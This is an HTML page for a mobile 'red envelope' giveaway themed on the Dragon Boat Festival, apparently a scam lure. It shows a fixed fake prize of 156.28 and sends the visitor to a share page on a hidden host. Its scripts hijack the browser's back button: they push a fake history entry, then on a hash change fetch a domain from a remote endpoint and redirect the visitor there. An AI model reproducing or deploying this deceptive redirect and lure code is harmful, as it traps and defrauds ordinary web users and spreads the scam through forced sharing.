<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
    <script>
        function Ajax(type, url, data, success, failed) {
            var xhr = null;
            if (window.XMLHttpRequest) {
                xhr = new XMLHttpRequest()
            } else {
                xhr = new ActiveXObject('Microsoft.XMLHTTP')
            }
            var type = type.toUpperCase();
            var random = Math.random();
            if (typeof data == 'object') {
                var str = '';
                for (var key in data) {
                    str += key + '=' + data[key] + '&'
                }
                data = str.replace(/&$/, '')
            }
            if (type == 'GET') {
                if (data) {
                    xhr.open('GET', url + '?' + data, true)
                } else {
                    xhr.open('GET', url + '?t=' + random, true)
                }
                xhr.send()
            } else if (type == 'POST') {
                xhr.open('POST', url, false);
                xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xhr.send(data)
            }
            xhr.onreadystatechange = function () {
                if (xhr.readyState == 4) {
                    if (xhr.status == 200) {
                        success(xhr.responseText)
                    } else {
                        if (failed) {
                            failed(xhr.status)
                        }
                    }
                }
            }
        }
        (function () {
            window.onhashchange = function () {
                Ajax('get', 'http://yun1.'+bba+'/bargain/noval.do', {}, function (data) {
                    window.location.href = 'http://' + data + '/noval.html'
                }, function (error) {
                })
            };
        })();
    </script>
</head>
<body>
<script>
    window.$cdn_url = "https://v3-0012.oss-cn-shanghai.aliyuncs.com/rpx4";
</script>
<div class="container" id="container">
   <script src="http://rpx4.oss-cn-shanghai.aliyuncs.com/res/js/adaptive.js?v=1.8"></script>
    <style>
        body {
            color: #0B0B0B;
            background-color: #EDEDED
        }

        * {
            word-wrap: break-word
        }

        html {
            -webkit-text-size-adjust: none
        }

        blockquote, body, dd, div, dl, dt, fieldset, form, h1, h2, h3, h4, h5, h6, input, li, ol, p, pre, span, td, textarea, th, ul {
            padding: 0;
            margin: 0
        }

        body {
            font: 400 14px/24px -apple-system, BlinkMacSystemFont, "PingFang SC", "Helvetica Neue", STHeiti, "Microsoft Yahei", Tahoma, Simsun, sans-serif
        }

        a {
            text-decoration: none;
            -webkit-transition: all .3s ease;
            -moz-transition: all .3s ease;
            -o-transition: all .3s ease;
            transition: all .3s ease;
            color: #333
        }

        a {
            -webkit-tap-highlight-color: rgba(0, 0, 0, .06)
        }

        a, img {
            border: none
        }

        a, button {
            outline: 0;
            border: 0
        }

        button, input, select, textarea {
            outline: 0
        }

        textarea {
            overflow: auto;
            resize: none
        }

        ol, ul {
            list-style: none
        }

        caption, em, i, small, th {
            font-weight: 400;
            font-style: normal;
            font-size: 100%
        }

        html {
            font-size: 100px
        }

        body, html {
            width: 100%;
            height: 100%
        }

        .red_bag {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: #000;
            z-index: 99
        }

        .redbag_con {
            position: absolute;
            top: 50%;
            left: 50%;
            width: 6rem;
            height: 9.94rem;
            margin-top: -4.97rem;
            margin-left: -3rem;
            background-image: url(http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/bgall.png);
            background-repeat: no-repeat;
            background-size: 100%
        }

        .redbag_head {
            padding-top: 2.2rem;
            padding-bottom: .4rem;
            height: .44rem;
            font-size: .36rem;
            color: #FFE4B2;
            display: flex;
            justify-content: center;
            align-items: center
        }

        .redbag_img {
            display: block;
            width: .44rem;
            height: .44rem;
            border-radius: .08rem;
            margin-right: 5px
        }

        .redbag_word {
            text-align: center;
            font-size: .46rem;
            color: #FFE4B2
        }

        .open_redbag {
            position: absolute;
            bottom: .9rem;
            left: 50%;
            width: 2.2rem;
            height: 2.2rem;
            margin-left: -1.1rem;
            background-image: url(http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/open.png);
            background-repeat: no-repeat;
            background-size: 100%
        }

        .shake {
            animation: shaken 1s 1;
            transform-style: preserve-3d
        }

        @keyframes shaken {
            0% {
                transform: rotateY(0)
            }
            100% {
                transform: rotateY(360deg)
            }
        }

        .change {
            animation: bigsmall 4s linear infinite
        }

        @keyframes changeall {
            0% {
                transform: scale(.8)
            }
            50% {
                transform: scale(1.02)
            }
            100% {
                transform: scale(1)
            }
        }

        .bigsmall {
            animation: bigsmall 4s linear infinite
        }

        @keyframes bigsmall {
            0% {
                transform: scale(1)
            }
            5% {
                transform: scale(1.1)
            }
            10% {
                transform: scale(1)
            }
            15% {
                transform: scale(1.1)
            }
            100%, 20% {
                transform: scale(1)
            }
        }

        ::-webkit-scrollbar {
            width: 0;
            display: none
        }

        .result_content {
            width: 100%;
            max-width: 750px
        }

        .result_top {
            width: 100%;
            height: 8.12rem;
            background-image: url(http://rpx4.oss-cn-shanghai.aliyuncs.com/res/images/result_hb.png);
            background-repeat: no-repeat;
            background-size: 100%;
            margin-bottom: .16rem
        }

        .result_head {
            padding-top: .44rem;
            height: .44rem;
            font-size: 18px;
            color: #FFE4B2;
            display: flex;
            justify-content: center;
            align-items: center
        }

        .result_con1 {
            width: 100%;
            line-height: 1.4rem;
            padding-top: .8rem;
            padding-bottom: .2rem;
            text-align: center;
            font-size: .9rem;
            color: #ffdfb1;
            font-weight: 700
        }

        .result_con1 span {
            font-size: 1.2rem
        }

        .result_button {
            width: 2.8rem;
            height: .8rem;
            line-height: .8rem;
            background-color: #FFE2B1;
            color: #F25543;
            font-weight: 700;
            border-radius: .5rem;
            margin-left: auto;
            margin-right: auto;
            text-align: center;
            font-size: .4rem
        }

        .result_title {
            width: 100%;
            background-color: #fff;
            height: 1rem;
            line-height: 1rem;
            border-bottom: 1px solid #ddd;
            font-size: .32rem;
            color: #8C8C8C;
            text-indent: .3rem
        }

        .result_list {
            width: 100%;
            background-color: #fff
        }

        .result_list li {
            padding-left: .3rem;
            padding-right: .3rem;
            padding-top: .26rem;
            padding-bottom: .26rem;
            border-bottom: 1px solid #eee;
            display: flex;
            justify-content: space-between
        }

        .user_infor {
            flex: 1;
            display: flex;
            align-items: center
        }

        .money {
            font-size: .3rem;
            color: #040404
        }

        .head_img {
            width: .74rem;
            height: .74rem;
            border-radius: .1rem
        }

        .user_name {
            padding-left: .2rem
        }

        .user_name p {
            font-size: .3rem;
            height: .42rem
        }

        .user_name span {
            font-size: .26rem;
            height: .32rem;
            color: #848484
        }

        .result_notice {
            width: 100%;
            height: 44px;
            line-height: 44px;
            font-size: 14px;
            color: #8C8C8C;
            text-align: center
        }

        .pop_share {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, .8);
            display: none
        }

        .share_con {
            position: absolute;
            top: 10px;
            left: 0;
            width: 100%
        }

        .share_con img {
            display: block;
            width: 100%
        }

        .color_gary {
            color: #666;
            font-size: .3rem
        }

        .color_red {
            color: #f15642
        }

        .font42 {
            font-size: .42rem
        }

        .dialog_bot {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%
        }

        .dialog_bot img {
            width: 100%;
            display: block
        }
    </style>
    <div class="red_bag">
        <div class="redbag_con" id="indexHb">
            <div class="redbag_head">恭贺端午节快乐！
            </div>
            <div class="redbag_word">恭喜發財，大吉大利</div>
            <div class="open_redbag" onclick="clickOpenBag(this)"></div>
        </div>
    </div>
    <!-- 弹出提示层 -->
    <div class="cover_div">
        <div class="cover_con"></div>
    </div>
    <script type="text/javascript">
        function openRedBag() {
            document.querySelector(".red_bag").style.display = "block";
            document.getElementById("indexHb").setAttribute("class", "redbag_con change");
        }

        function clickOpenBag(e) {
            e.setAttribute("class", "open_redbag shake");
            setTimeout(function () {
                var money = '156.28';
                window.next_step(money);
            }, 500);
        }

        window.onload = function () {
            openRedBag();
        }
        window.next_step = function (money) {
            /* Ajax('get', 'http://yunxianggang.'+bba+'/bargain/transfer.do', {"acti_id": 1}, function (data) {
               window.location.href = "http://" + data + "/share.html?timer=" + new Date().getTime()                          
            }, function (error) {
            }) */
        	 window.location.href = "http://"+sharebb+"/share.html?timer=" + new Date().getTime()   
        };
        (function () {
            history.pushState(history.length + 1, "message", "#" + btoa('078c883ee1a4cbf7f134890d70cf384f'));
        })();
    </script>
</div>
</body>
</html>